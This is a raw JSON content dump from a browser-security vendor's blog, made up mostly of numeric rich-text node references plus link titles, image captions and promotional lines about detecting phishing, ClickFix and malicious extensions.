414],{"data":81415,"marks":81416,"value":80112,"nodeType":865},{},[],{"data":81418,"marks":81419,"value":80116,"nodeType":865},{},[],{"data":81421,"content":81422,"nodeType":866},{},[81423],{"data":81424,"marks":81425,"value":79858,"nodeType":865},{},[],{"data":81427,"content":81428,"nodeType":1458},{},[81429],{"data":81430,"marks":81431,"value":79866,"nodeType":865},{},[81432],{"type":961},{"data":81434,"content":81435,"nodeType":866},{},[81436],{"data":81437,"marks":81438,"value":80136,"nodeType":865},{},[],{"data":81440,"content":81441,"nodeType":866},{},[81442],{"data":81443,"marks":81444,"value":80143,"nodeType":865},{},[],{"data":81446,"content":81447,"nodeType":866},{},[81448],{"data":81449,"marks":81450,"value":80150,"nodeType":865},{},[],{"data":81452,"content":81453,"nodeType":866},{},[81454],{"data":81455,"marks":81456,"value":80157,"nodeType":865},{},[],{"data":81458,"content":81459,"nodeType":1458},{},[81460],{"data":81461,"marks":81462,"value":80165,"nodeType":865},{},[81463],{"type":961},{"data":81465,"content":81466,"nodeType":866},{},[81467],{"data":81468,"marks":81469,"value":80172,"nodeType":865},{},[],{"data":81471,"content":81472,"nodeType":866},{},[81473],{"data":81474,"marks":81475,"value":80179,"nodeType":865},{},[],{"data":81477,"content":81478,"nodeType":866},{},[81479,81482,81486,81489,81493],{"data":81480,"marks":81481,"value":80186,"nodeType":865},{},[],{"data":81483,"marks":81484,"value":80191,"nodeType":865},{},[81485],{"type":961},{"data":81487,"marks":81488,"value":8756,"nodeType":865},{},[],{"data":81490,"marks":81491,"value":80199,"nodeType":865},{},[81492],{"type":961},{"data":81494,"marks":81495,"value":80203,"nodeType":865},{},[],{"data":81497,"content":81500,"nodeType":925},{"target":81498},{"sys":81499},{"id":80208,"type":922,"linkType":923},[],{"data":81502,"content":81503,"nodeType":866},{},[81504,81507,81511],{"data":81505,"marks":81506,"value":80216,"nodeType":865},{},[],{"data":81508,"marks":81509,"value":80221,"nodeType":865},{},[81510],{"type":961},{"data":81512,"marks":81513,"value":80225,"nodeType":865},{},[],{"data":81515,"content":81516,"nodeType":866},{},[81517,81520,81524],{"data":81518,"marks":81519,"value":80216,"nodeType":865},{},[],{"data":81521,"marks":81522,"value":80236,"nodeType":865},{},[81523],{"type":961},{"data":81525,"marks":81526,"value":80240,"nodeType":865},{},[],{"data":81528,"content":81529,"nodeType":866},{},[81530,81533,81537],{"data":81531,"marks":81532,"value":80247,"nodeType":865},{},[],{"data":81534,"marks":81535,"value":80252,"nodeType":865},{},[81536],{"type":961},{"data":81538,"marks":81539,"value":80256,"nodeType":865},{},[],{"data":81541,"content":81544,"nodeType":925},{"target":81542},{"sys":81543},{"id":80261,"type":922,"linkType":923},[],{"data":81546,"content":81547,"nodeType":1458},{},[81548],{"data":81549,"marks":81550,"value":80270,"nodeType":865},{},[81551],{"type":961},{"data":81553,"content":81554,"nodeType":866},{},[81555],{"data":81556,"marks":81557,"value":80277,"nodeType":865},{},[],{"data":81559,"content":81560,"nodeType":1458},{},[81561],{"data":81562,"marks":81563,"value":80285,"nodeType":865},{},[81564],{"type":961},{"data":81566,"content":81567,"nodeType":866},{},[81568],{"data":81569,"marks":81570,"value":80292,"nodeType":865},{},[],{"data":81572,"content":81573,"nodeType":953},{},[],{"data":81575,"content":81576,"nodeType":963},{},[81577],{"data":81578,"marks":81579,"value":80303,"nodeType":865},{},[81580],{"type":961},{"data":81582,"content":81583,"nodeType":866},{},[81584],{"data":81585,"marks":81586,"value":80310,"nodeType":865},{},[],{"data":81588,"content":81589,"nodeType":866},{},[81590,81593,81597,81600,81604,81607,81611],{"data":81591,"marks":81592,"value":80317,"nodeType":865},{},[],{"data":81594,"marks":81595,"value":80322,"nodeType":865},{},[81596],{"type":961},{"data":81598,"marks":81599,"value":80326,"nodeType":865},{},[],{"data":81601,"marks":81602,"value":80199,"nodeType":865},{},[81603],{"type":961},{"data":81605,"marks":81606,"value":80334,"nodeType":865},{},[],{"data":81608,"marks":81609,"value":80339,"nodeType":865},{},[81610],{"type":961},{"data":81612,"marks":81613,"value":80343,"nodeType":865},{},[],{"data":81615,"content":81618,"nodeType":925},{"target":81616},{"sys":81617},{"id":80348,"type":922,"linkType":923},[],{"data":81620,"content":81621,"nodeType":866},{},[81622,81625,81629,81632,81636],{"data":81623,"marks":81624,"value":80356,"nodeType":865},{},[],{"data":81626,"marks":81627,"value":80361,"nodeType":865},{},[81628],{"type":961},{"data":81630,"marks":81631,"value":71034,"nodeType":865},{},[],{"data":81633,"marks":81634,"value":80369,"nodeType":865},{},[81635],{"type":961},{"data":81637,"marks":81638,"value":80373,"nodeType":865},{},[],{"data":81640,"content":81641,"nodeType":866},{},[81642],{"data":81643,"marks":81644,"value":80380,"nodeType":865},{},[],{"data":81646,"content":81647,"nodeType":953},{},[],{"data":81649,"content":81650,"nodeType":963},{},[81651],{"data":81652,"marks":81653,"value":80391,"nodeType":865},{},[81654],{"type":961},{"data":81656,"content":81657,"nodeType":866},{},[81658],{"data":81659,"marks":81660,"value":80398,"nodeType":865},{},[],{"data":81662,"content":81663,"nodeType":866},{},[81664,81667,81671],{"data":81665,"marks":81666,"value":80405,"nodeType":865},{},[],{"data":81668,"marks":81669,"value":80410,"nodeType":865},{},[81670],{"type":961},{"data":81672,"marks":81673,"value":80414,"nodeType":865},{},[],{"data":81675,"content":81678,"nodeType":925},{"target":81676},{"sys":81677},{"id":80419,"type":922,"linkType":923},[],{"data":81680,"content":81681,"nodeType":866},{},[81682],{"data":81683,"marks":81684,"value":80427,"nodeType":865},{},[],{"data":81686,"content":81687,"nodeType":866},{},[81688],{"data":81689,"marks":81690,"value":80434,"nodeType":865},{},[],{"data":81692,"content":81693,"nodeType":953},{},[],{"data":81695,"content":81696,"nodeType":963},{},[81697],{"data":81698,"marks":81699,"value":1704,"nodeType":865},{},[81700],{"type":961},{"data":81702,"content":81703,"nodeType":866},{},[81704,81707,81713],{"data":81705,"marks":81706,"value":80451,"nodeType":865},{},[],{"data":81708,"content":81709,"nodeType":882},{"uri":152},[81710],{"data":81711,"marks":81712,"value":80458,"nodeType":865},{},[],{"data":81714,"marks":81715,"value":80462,"nodeType":865},{},[],{"data":81717,"content":81718,"nodeType":866},{},[81719],{"data":81720,"marks":81721,"value":80469,"nodeType":865},{},[],{"data":81723,"content":81724,"nodeType":866},{},[81725,81728,81734,81737,81743,81746,81752],{"data":81726,"marks":81727,"value":80476,"nodeType":865},{},[],{"data":81729,"content":81730,"nodeType":882},{"uri":80479},[81731],{"data":81732,"marks":81733,"value":80484,"nodeType":865},{},[],{"data":81735,"marks":81736,"value":80488,"nodeType":865},{},[],{"data":81738,"content":81739,"nodeType":882},{"uri":80491},[81740],{"data":81741,"marks":81742,"value":80496,"nodeType":865},{},[],{"data":81744,"marks":81745,"value":80500,"nodeType":865},{},[],{"data":81747,"content":81748,"nodeType":882},{"uri":16213},[81749],{"data":81750,"marks":81751,"value":1734,"nodeType":865},{},[],{"data":81753,"marks":81754,"value":1048,"nodeType":865},{},[],{"entries":81756},{"inline":81757,"hyperlink":81758,"block":81819},[],[81759,81761,81765,81769,81773,81779,81784,81789,81794,81799,81804,81809,81814],{"sys":81760,"__typename":1788,"title":60308,"slug":60309},{"id":15536},{"sys":81762,"__typename":1788,"title":81763,"slug":81764},{"id":79644},"Push + Network Security: The gap between seeing the packet and securing the session","push-plus-network-security",{"sys":81766,"__typename":1788,"title":81767,"slug":81768},{"id":79665},"Push + Endpoint Security: Extending detection and response to the browser","push-plus-endpoint-security",{"sys":81770,"__typename":1788,"title":81771,"slug":81772},{"id":79679},"Push + Cloud Security: What do you do when bad looks normal?","push-plus-cloud-security",{"sys":81774,"__typename":81775,"title":81776,"slug":81777,"articleId":81778},{"id":79769},"HelpArticle","Can I use Push to detect phishing tools like Evilginx, Modlishka, NakedPages, or Muraena?","can-i-use-push-to-detect-phishing-tools-like-evilnovnc-and-evilginx",10113,{"sys":81780,"__typename":81775,"title":81781,"slug":81782,"articleId":81783},{"id":79791},"How does Push detect cloned login pages?","how-does-push-detect-cloned-login-pages",10117,{"sys":81785,"__typename":81775,"title":81786,"slug":81787,"articleId":81788},{"id":79814},"How does Push detect malicious browser extensions?","how-does-push-detect-malicious-browser-extensions",10148,{"sys":81790,"__typename":81775,"title":81791,"slug":81792,"articleId":81793},{"id":79835},"How does Push detect attacks like ClickFix and FileFix?","how-does-push-detect-attacks-like-clickfix-and-filefix",10141,{"sys":81795,"__typename":81775,"title":81796,"slug":81797,"articleId":81798},{"id":80023},"How does Push protect passwords from being reused or phished?","how-does-push-detect-and-prevent-phishing-attacks",10109,{"sys":81800,"__typename":81775,"title":81801,"slug":81802,"articleId":81803},{"id":80047},"How does MFA enforcement work?","how-does-mfa-enforcement-work",10121,{"sys":81805,"__typename":81775,"title":81806,"slug":81807,"articleId":81808},{"id":80060},"How does strong password enforcement work?","how-does-strong-password-enforcement-work",10129,{"sys":81810,"__typename":81775,"title":81811,"slug":81812,"articleId":81813},{"id":80084},"What can I use the app banner for? Templates and examples","what-can-i-use-the-app-banner-for-templates-and-examples",10106,{"sys":81815,"__typename":81775,"title":81816,"slug":81817,"articleId":81818},{"id":80107},"Can Push detect and disable other installed browser extensions?","can-push-detect-other-installed-browser-extensions",10138,[81820,81856,81860,81879,81882,81907,81944,81947,81955,81963,81971,81979,81987],{"sys":81821,"__typename":9270,"content":81822,"name":81855,"title":59},{"id":79213},{"json":81823},{"nodeType":1739,"data":81824,"content":81825},{},[81826],{"nodeType":866,"data":81827,"content":81828},{},[81829,81832,81840,81844,81851],{"nodeType":865,"value":21,"marks":81830,"data":81831},[],{},{"nodeType":882,"data":81833,"content":81835},{"uri":81834},"https://www.crowdstrike.com/explore/2026-global-threat-report?utm_medium=dir",[81836],{"nodeType":865,"value":81837,"marks":81838,"data":81839},"Crowdstrike reports",[],{},{"nodeType":865,"value":81841,"marks":81842,"data":81843}," that valid account abuse accounted for 35% of incidents in 2025, while ",[],{},{"nodeType":882,"data":81845,"content":81846},{"uri":3240},[81847],{"nodeType":865,"value":81848,"marks":81849,"data":81850},"Verizon reports",[],{},{"nodeType":865,"value":81852,"marks":81853,"data":81854}," that identity is now the primary breach vector observed across all methods.",[],{},"Guide: Protecting Users IB 1",{"sys":81857,"__typename":12453,"title":81858,"arcadeDemoUrl":81859,"playText":12456},{"id":79240},"Custom branding for Push controls","https://demo.arcade.software/kBqjoJqArDTsUtB6HHwR?embed",{"sys":81861,"__typename":9270,"content":81862,"name":81878,"title":59},{"id":79264},{"json":81863},{"nodeType":1739,"data":81864,"content":81865},{},[81866],{"nodeType":866,"data":81867,"content":81868},{},[81869,81873],{"nodeType":865,"value":81870,"marks":81871,"data":81872},"It's harder than ever to identify malicious scenarios when browsing the web as part of your routine, daily activities — and the list of attacks to be aware of is growing every day. ",[],{},{"nodeType":865,"value":81874,"marks":81875,"data":81877},"It was hard enough to train users not to click links in emails when that was pretty much the only thing they had to watch out for.  ",[81876],{"type":961},{},"Guide: Protecting Users IB 3",{"sys":81880,"__typename":1747,"title":5623,"caption":5624,"layoutMode":59,"file":81881},{"id":5415},{"url":5626,"width":5627,"height":5628},{"sys":81883,"__typename":9270,"content":81884,"name":81906,"title":59},{"id":79550},{"json":81885},{"nodeType":1739,"data":81886,"content":81887},{},[81888],{"nodeType":866,"data":81889,"content":81890},{},[81891,81895,81902],{"nodeType":865,"value":81892,"marks":81893,"data":81894},"Learn more about the browser-based attack techniques driving the biggest breaches of the last year in our ",[],{},{"nodeType":882,"data":81896,"content":81897},{"uri":152},[81898],{"nodeType":865,"value":81899,"marks":81900,"data":81901},"2026 Browser Attack Techniques",[],{},{"nodeType":865,"value":81903,"marks":81904,"data":81905}," ebook.",[],{},"Browser attack techniques ebook callout",{"sys":81908,"__typename":9270,"content":81909,"name":81943,"title":59},{"id":79693},{"json":81910},{"nodeType":1739,"data":81911,"content":81912},{},[81913],{"nodeType":866,"data":81914,"content":81915},{},[81916,81920,81928,81932,81939],{"nodeType":865,"value":81917,"marks":81918,"data":81919},"The Push research team has written extensively about how cloud-first operators like ",[],{},{"nodeType":15311,"data":81921,"content":81924},{"target":81922},{"sys":81923},{"id":73788,"type":922,"linkType":923},[81925],{"nodeType":865,"value":19437,"marks":81926,"data":81927},[],{},{"nodeType":865,"value":81929,"marks":81930,"data":81931}," use a variety of methods to ",[],{},{"nodeType":882,"data":81933,"content":81934},{"uri":13634},[81935],{"nodeType":865,"value":81936,"marks":81937,"data":81938},"evade existing security controls",[],{},{"nodeType":865,"value":81940,"marks":81941,"data":81942},", if you’d like to dig into the details.",[],{},"Guide: Protecting Users IB 2",{"sys":81945,"__typename":1747,"title":60377,"caption":1775,"layoutMode":59,"file":81946},{"id":15627},{"url":60379,"width":1759,"height":1778},{"sys":81948,"__typename":1747,"title":81949,"caption":81950,"layoutMode":59,"file":81951},{"id":79926},"Sample ClickFix detection - blog article - custom branding","Sample screenshot captured from a malicious copy-paste attack",{"url":81952,"width":81953,"height":81954},"https://images.ctfassets.net/y1cdw1ablpvd/3xaJZGyhSbqqLZ7iyiqb40/427c9eeb7312dc1d85d57b10b2ffec11/clickfix_screenshot_example.png",947,244,{"sys":81956,"__typename":1747,"title":81957,"caption":81958,"layoutMode":59,"file":81959},{"id":79980},"Sample phishing block page - blog article - custom branding","Sample phishing block page with custom branding",{"url":81960,"width":81961,"height":81962},"https://images.ctfassets.net/y1cdw1ablpvd/2eQNuARuzPujGm1tfYxFhf/1ebce9e33cf89368d1e9ce9104382641/phishing_block_page_branded.png",1274,719,{"sys":81964,"__typename":1747,"title":81965,"caption":81966,"layoutMode":59,"file":81967},{"id":80208},"MFA enforcement banner example - blog article - custom branding","MFA enforcement banner with custom branding and dark theme option",{"url":81968,"width":81969,"height":81970},"https://images.ctfassets.net/y1cdw1ablpvd/8srMEvq3vFJQiEyIaESDw/fdff9a4f3bd0eadb5f58ff9fac4ada74/MFA_enforcement_banner_branded_sample.png",1472,756,{"sys":81972,"__typename":1747,"title":81973,"caption":81974,"layoutMode":59,"file":81975},{"id":80261},"Sample blocking banner - blog article - custom branding","Sample blocking banner",{"url":81976,"width":81977,"height":81978},"https://images.ctfassets.net/y1cdw1ablpvd/2b3bGaN3vQBXn5SL8BlbzZ/fbe21cc6e6387856e2d3a56ffb6a1e82/banner_example_branded_block.png",1304,812,{"sys":81980,"__typename":1747,"title":81981,"caption":81982,"layoutMode":59,"file":81983},{"id":80348},"Rule configuration example - blog article - custom branding","Rule configuration slideout for Phishing tool detection",{"url":81984,"width":81985,"height":81986},"https://images.ctfassets.net/y1cdw1ablpvd/2O0ptkRr7E0QPlfABl3zq9/1e2204b441b50129f543177a99c46fa6/config_rule_scope_mode_example.png",739,820,{"sys":81988,"__typename":1747,"title":81989,"caption":81990,"layoutMode":59,"file":81991},{"id":80419},"Branding settings - blog article - custom branding","Branding configuration options for banners and block pages",{"url":81992,"width":81993,"height":81994},"https://images.ctfassets.net/y1cdw1ablpvd/4EX3DqVhvOMCyNFYSBJ1rF/caabcddde02e65e363f2354aa7ab2be0/branding_settings.png",995,817,{"items":81996},[],{},"Guide: How to use Push to protect users from browser threats","guide",{"items":82001},[],"blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks",{"json":82004},{"data":82005,"content":82006,"nodeType":1739},{},[82007],{"data":82008,"content":82009,"nodeType":866},{},[82010],{"data":82011,"marks":82012,"value":82013,"nodeType":865},{},[],"If you want to protect employees working in the browser, you need to get as close to the user as possible. In this Push product guide, we’ll cover how to use in-browser controls to stop attacks before compromise can occur, and to guide users to remediate vulnerabilities — all using your custom branding to increase trust.",{"id":79167,"publishedAt":82015},"2026-08-12T11:53:00.921Z",{"items":82017},[82018,82020],{"sys":82019,"name":11426},{"id":11425},{"sys":82021,"name":342},{"id":8410},{"items":82023},[82024,82026,82028,82030,82032,82034,82036,82038,82040,82042,82044,82046,82048,82050,82052,82054,82056,82058],{"sys":82025,"name":279,"slug":280,"tier":31},{"id":276},{"sys":82027,"name":297,"slug":298,"tier":31},{"id":294},{"sys":82029,"name":519,"slug":520,"tier":31},{"id":516},{"sys":82031,"name":342,"slug":343,"tier":31},{"id":339},{"sys":82033,"name":413,"slug":414,"tier":31},{"id":410},{"sys":82035,"name":261,"slug":262,"tier":45},{"id":258},{"sys":82037,"name":315,"slug":316,"tier":45},{"id":312},{"sys":82039,"name":324,"slug":325,"tier":45},{"id":321},{"sys":82041,"name":457,"slug":458,"tier":45},{"id":454},{"sys":82043,"name":466,"slug":467,"tier":45},{"id":463},{"sys":82045,"name":502,"slug":503,"tier":45},{"id":499},{"sys":82047,"name":288,"slug":289,"tier":45},{"id":285},{"sys":82049,"name":607,"slug":608,"tier":45},{"id":604},{"sys":82051,"name":448,"slug":449,"tier":45},{"id":445},{"sys":82053,"name":589,"slug":590,"tier":45},{"id":586},{"sys":82055,"name":580,"slug":581,"tier":45},{"id":577},{"sys":82057,"name":351,"slug":352,"tier":45},{"id":348},{"sys":82059,"name":598,"slug":599,"tier":45},{"id":595},"r6A4hwgdXf1AftoB3nqlkUp1HAEfQHUQeYO8ACKCPuA",{"id":82062,"title":32433,"authorsCollection":82063,"content":82069,"extension":228,"faqItemsCollection":85264,"faqTitle":59,"featured":6,"hashTags":59,"meta":85266,"metaTitle":85267,"ogImage":59,"postType":21460,"publishedDate":32435,"relatedBlogPostsCollection":85268,"slug":361,"stem":87469,"subtitle":59,"summary":87470,"synopsis":32434,"sys":87481,"tagsCollection":87483,"topicsCollection":87489,"__hash__":87525},"blog/blog/device-code-phishing.json",{"items":82064},[82065],{"fullName":32445,"firstName":32446,"jobTitle":32447,"socialLinks":82066,"profilePicture":82068},[82067],"https://www.linkedin.com/in/luke-jennings-042b5619b/",{"url":32449},{"json":82070,"links":84774},{"data":82071,"content":82072,"nodeType":1739},{},[82073,82078,82094,82110,82116,82121,82127,82133,82136,82143,82148,82214,82230,82235,82241,82337,82342,82345,82352,82358,82363,82366,82373,82409,82414,82420,82426,82432,82438,82454,82459,82464,82469,82474,82479,82484,82489,82495,82725,82728,82735,82862,82867,82870,82877,82908,83035,83040,83043,83050,83189,83194,83197,83204,83209,83343,83348,83353,83356,83363,83502,83507,83510,83517,83657,83662,83665,83672,83763,83768,83771,83778,83869,83874,83877,83884,83889,84016,84021,84024,84031,84078,84083,84086,84093,84226,84231,84234,84241,84368,84373,84376,84383,84393,84399,84404,84409,84415,84432,84445,84450,84453,84460,84467,84484,84501,84506,84512,84518,84525,84531,84537,84543,84550,84556,84601,84606,84609,84616,84622,84628,84665,84670,84676,84679,84686,84692,84698,84714,84719,84725,84732,84738],{"data":82074,"content":82077,"nodeType":925},{"target":82075},{"sys":82076},{"id":29452,"type":922,"linkType":923},[],{"data":82079,"content":82080,"nodeType":866},{},[82081,82084,82091],{"data":82082,"marks":82083,"value":29460,"nodeType":865},{},[],{"data":82085,"content":82086,"nodeType":882},{"uri":29463},[82087],{"data":82088,"marks":82089,"value":29469,"nodeType":865},{},[82090],{"type":997},{"data":82092,"marks":82093,"value":29473,"nodeType":865},{},[],{"data":82095,"content":82096,"nodeType":866},{},[82097,82100,82107],{"data":82098,"marks":82099,"value":21,"nodeType":865},{},[],{"data":82101,"content":82102,"nodeType":882},{"uri":29482},[82103],{"data":82104,"marks":82105,"value":360,"nodeType":865},{},[82106],{"type":997},{"data":82108,"marks":82109,"value":29491,"nodeType":865},{},[],{"data":82111,"content":82112,"nodeType":866},{},[82113],{"data":82114,"marks":82115,"value":29498,"nodeType":865},{},[],{"data":82117,"content":82120,"nodeType":925},{"target":82118},{"sys":82119},{"id":29503,"type":922,"linkType":923},[],{"data":82122,"content":82123,"nodeType":866},{},[82124],{"data":82125,"marks":82126,"value":29511,"nodeType":865},{},[],{"data":82128,"content":82129,"nodeType":866},{},[82130],{"data":82131,"marks":82132,"value":29518,"nodeType":865},{},[],{"data":82134,"content":82135,"nodeType":953},{},[],{"data":82137,"content":82138,"nodeType":963},{},[82139],{"data":82140,"marks":82141,"value":29529,"nodeType":865},{},[82142],{"type":961},{"data":82144,"content":82147,"nodeType":925},{"target":82145},{"sys":82146},{"id":29534,"type":922,"linkType":923},[],{"data":82149,"content":82150,"nodeType":866},{},[82151,82154,82161,82164,82171,82174,82181,82184,82191,82194,82201,82204,82211],{"data":82152,"marks":82153,"value":29542,"nodeType":865},{},[],{"data":82155,"content":82156,"nodeType":882},{"uri":29545},[82157],{"data":82158,"marks":82159,"value":29551,"nodeType":865},{},[82160],{"type":997},{"data":82162,"marks":82163,"value":29555,"nodeType":865},{},[],{"data":82165,"content":82166,"nodeType":882},{"uri":29558},[82167],{"data":82168,"marks":82169,"value":29564,"nodeType":865},{},[82170],{"type":997},{"data":82172,"marks":82173,"value":29568,"nodeType":865},{},[],{"data":82175,"content":82176,"nodeType":882},{"uri":29571},[82177],{"data":82178,"marks":82179,"value":29577,"nodeType":865},{},[82180],{"type":997},{"data":82182,"marks":82183,"value":29581,"nodeType":865},{},[],{"data":82185,"content":82186,"nodeType":882},{"uri":29584},[82187],{"data":82188,"marks":82189,"value":29590,"nodeType":865},{},[82190],{"type":997},{"data":82192,"marks":82193,"value":29594,"nodeType":865},{},[],{"data":82195,"content":82196,"nodeType":882},{"uri":29597},[82197],{"data":82198,"marks":82199,"value":29603,"nodeType":865},{},[82200],{"type":997},{"data":82202,"marks":82203,"value":8756,"nodeType":865},{},[],{"data":82205,"content":82206,"nodeType":882},{"uri":29609},[82207],{"data":82208,"marks":82209,"value":29615,"nodeType":865},{},[82210],{"type":997},{"data":82212,"marks":82213,"value":29619,"nodeType":865},{},[],{"data":82215,"content":82216,"nodeType":866},{},[82217,82220,82227],{"data":82218,"marks":82219,"value":29626,"nodeType":865},{},[],{"data":82221,"content":82222,"nodeType":882},{"uri":29629},[82223],{"data":82224,"marks":82225,"value":29635,"nodeType":865},{},[82226],{"type":997},{"data":82228,"marks":82229,"value":29639,"nodeType":865},{},[],{"data":82231,"content":82234,"nodeType":925},{"target":82232},{"sys":82233},{"id":29644,"type":922,"linkType":923},[],{"data":82236,"content":82237,"nodeType":866},{},[82238],{"data":82239,"marks":82240,"value":29652,"nodeType":865},{},[],{"data":82242,"content":82243,"nodeType":1049},{},[82244,82271,82289],{"data":82245,"content":82246,"nodeType":1003},{},[82247],{"data":82248,"content":82249,"nodeType":866},{},[82250,82253,82259,82262,82268],{"data":82251,"marks":82252,"value":29665,"nodeType":865},{},[],{"data":82254,"content":82255,"nodeType":882},{"uri":29668},[82256],{"data":82257,"marks":82258,"value":29673,"nodeType":865},{},[],{"data":82260,"marks":82261,"value":8756,"nodeType":865},{},[],{"data":82263,"content":82264,"nodeType":882},{"uri":29679},[82265],{"data":82266,"marks":82267,"value":29684,"nodeType":865},{},[],{"data":82269,"marks":82270,"value":29688,"nodeType":865},{},[],{"data":82272,"content":82273,"nodeType":1003},{},[82274],{"data":82275,"content":82276,"nodeType":866},{},[82277,82280,82286],{"data":82278,"marks":82279,"value":29698,"nodeType":865},{},[],{"data":82281,"content":82282,"nodeType":882},{"uri":8759},[82283],{"data":82284,"marks":82285,"value":19437,"nodeType":865},{},[],{"data":82287,"marks":82288,"value":29708,"nodeType":865},{},[],{"data":82290,"content":82291,"nodeType":1003},{},[82292],{"data":82293,"content":82294,"nodeType":866},{},[82295,82298,82304,82307,82314,82317,82324,82327,82334],{"data":82296,"marks":82297,"value":29718,"nodeType":865},{},[],{"data":82299,"content":82300,"nodeType":882},{"uri":29721},[82301],{"data":82302,"marks":82303,"value":29726,"nodeType":865},{},[],{"data":82305,"marks":82306,"value":29730,"nodeType":865},{},[],{"data":82308,"content":82309,"nodeType":882},{"uri":29733},[82310],{"data":82311,"marks":82312,"value":29739,"nodeType":865},{},[82313],{"type":997},{"data":82315,"marks":82316,"value":3892,"nodeType":865},{},[],{"data":82318,"content":82319,"nodeType":882},{"uri":29745},[82320],{"data":82321,"marks":82322,"value":29751,"nodeType":865},{},[82323],{"type":997},{"data":82325,"marks":82326,"value":29755,"nodeType":865},{},[],{"data":82328,"content":82329,"nodeType":882},{"uri":3087},[82330],{"data":82331,"marks":82332,"value":29763,"nodeType":865},{},[82333],{"type":997},{"data":82335,"marks":82336,"value":29767,"nodeType":865},{},[],{"data":82338,"content":82341,"nodeType":925},{"target":82339},{"sys":82340},{"id":29772,"type":922,"linkType":923},[],{"data":82343,"content":82344,"nodeType":953},{},[],{"data":82346,"content":82347,"nodeType":963},{},[82348],{"data":82349,"marks":82350,"value":29784,"nodeType":865},{},[82351],{"type":961},{"data":82353,"content":82354,"nodeType":866},{},[82355],{"data":82356,"marks":82357,"value":29791,"nodeType":865},{},[],{"data":82359,"content":82362,"nodeType":925},{"target":82360},{"sys":82361},{"id":29796,"type":922,"linkType":923},[],{"data":82364,"content":82365,"nodeType":953},{},[],{"data":82367,"content":82368,"nodeType":1458},{},[82369],{"data":82370,"marks":82371,"value":29808,"nodeType":865},{},[82372],{"type":961},{"data":82374,"content":82375,"nodeType":866},{},[82376,82379,82386,82389,82396,82399,82406],{"data":82377,"marks":82378,"value":21,"nodeType":865},{},[],{"data":82380,"content":82381,"nodeType":882},{"uri":3087},[82382],{"data":82383,"marks":82384,"value":29763,"nodeType":865},{},[82385],{"type":997},{"data":82387,"marks":82388,"value":2186,"nodeType":865},{},[],{"data":82390,"content":82391,"nodeType":882},{"uri":29827},[82392],{"data":82393,"marks":82394,"value":29833,"nodeType":865},{},[82395],{"type":997},{"data":82397,"marks":82398,"value":29837,"nodeType":865},{},[],{"data":82400,"content":82401,"nodeType":882},{"uri":29745},[82402],{"data":82403,"marks":82404,"value":29845,"nodeType":865},{},[82405],{"type":997},{"data":82407,"marks":82408,"value":29849,"nodeType":865},{},[],{"data":82410,"content":82413,"nodeType":925},{"target":82411},{"sys":82412},{"id":29854,"type":922,"linkType":923},[],{"data":82415,"content":82416,"nodeType":866},{},[82417],{"data":82418,"marks":82419,"value":29862,"nodeType":865},{},[],{"data":82421,"content":82422,"nodeType":866},{},[82423],{"data":82424,"marks":82425,"value":29869,"nodeType":865},{},[],{"data":82427,"content":82428,"nodeType":866},{},[82429],{"data":82430,"marks":82431,"value":29876,"nodeType":865},{},[],{"data":82433,"content":82434,"nodeType":866},{},[82435],{"data":82436,"marks":82437,"value":29883,"nodeType":865},{},[],{"data":82439,"content":82440,"nodeType":866},{},[82441,82444,82451],{"data":82442,"marks":82443,"value":29890,"nodeType":865},{},[],{"data":82445,"content":82446,"nodeType":882},{"uri":13634},[82447],{"data":82448,"marks":82449,"value":29898,"nodeType":865},{},[82450],{"type":997},{"data":82452,"marks":82453,"value":29902,"nodeType":865},{},[],{"data":82455,"content":82458,"nodeType":925},{"target":82456},{"sys":82457},{"id":29907,"type":922,"linkType":923},[],{"data":82460,"content":82463,"nodeType":925},{"target":82461},{"sys":82462},{"id":29913,"type":922,"linkType":923},[],{"data":82465,"content":82468,"nodeType":925},{"target":82466},{"sys":82467},{"id":29919,"type":922,"linkType":923},[],{"data":82470,"content":82473,"nodeType":925},{"target":82471},{"sys":82472},{"id":29925,"type":922,"linkType":923},[],{"data":82475,"content":82478,"nodeType":925},{"target":82476},{"sys":82477},{"id":29931,"type":922,"linkType":923},[],{"data":82480,"content":82483,"nodeType":925},{"target":82481},{"sys":82482},{"id":29937,"type":922,"linkType":923},[],{"data":82485,"content":82488,"nodeType":925},{"target":82486},{"sys":82487},{"id":29943,"type":922,"linkType":923},[],{"data":82490,"content":82491,"nodeType":866},{},[82492],{"data":82493,"marks":82494,"value":21,"nodeType":865},{},[],{"data":82496,"content":82497,"nodeType":2396},{},[82498,82520,82591,82637,82659],{"data":82499,"content":82500,"nodeType":1869},{},[82501,82511],{"data":82502,"content":82503,"nodeType":1835},{},[82504],{"data":82505,"content":82506,"nodeType":866},{},[82507],{"data":82508,"marks":82509,"value":29967,"nodeType":865},{},[82510],{"type":961},{"data":82512,"content":82513,"nodeType":1835},{},[82514],{"data":82515,"content":82516,"nodeType":866},{},[82517],{"data":82518,"marks":82519,"value":29977,"nodeType":865},{},[],{"data":82521,"content":82522,"nodeType":1869},{},[82523,82533],{"data":82524,"content":82525,"nodeType":1835},{},[82526],{"data":82527,"content":82528,"nodeType":866},{},[82529],{"data":82530,"marks":82531,"value":29991,"nodeType":865},{},[82532],{"type":961},{"data":82534,"content":82535,"nodeType":1835},{},[82536,82560],{"data":82537,"content":82538,"nodeType":866},{},[82539,82543,82546,82550,82553,82557],{"data":82540,"marks":82541,"value":30002,"nodeType":865},{},[82542],{"type":961},{"data":82544,"marks":82545,"value":30006,"nodeType":865},{},[],{"data":82547,"marks":82548,"value":30011,"nodeType":865},{},[82549],{"type":961},{"data":82551,"marks":82552,"value":30015,"nodeType":865},{},[],{"data":82554,"marks":82555,"value":30020,"nodeType":865},{},[82556],{"type":961},{"data":82558,"marks":82559,"value":30024,"nodeType":865},{},[],{"data":82561,"content":82562,"nodeType":866},{},[82563,82567,82570,82574,82577,82581,82584,82588],{"data":82564,"marks":82565,"value":30032,"nodeType":865},{},[82566],{"type":961},{"data":82568,"marks":82569,"value":2157,"nodeType":865},{},[],{"data":82571,"marks":82572,"value":30040,"nodeType":865},{},[82573],{"type":961},{"data":82575,"marks":82576,"value":30044,"nodeType":865},{},[],{"data":82578,"marks":82579,"value":30011,"nodeType":865},{},[82580],{"type":961},{"data":82582,"marks":82583,"value":30052,"nodeType":865},{},[],{"data":82585,"marks":82586,"value":30020,"nodeType":865},{},[82587],{"type":961},{"data":82589,"marks":82590,"value":30060,"nodeType":865},{},[],{"data":82592,"content":82593,"nodeType":1869},{},[82594,82604],{"data":82595,"content":82596,"nodeType":1835},{},[82597],{"data":82598,"content":82599,"nodeType":866},{},[82600],{"data":82601,"marks":82602,"value":30074,"nodeType":865},{},[82603],{"type":9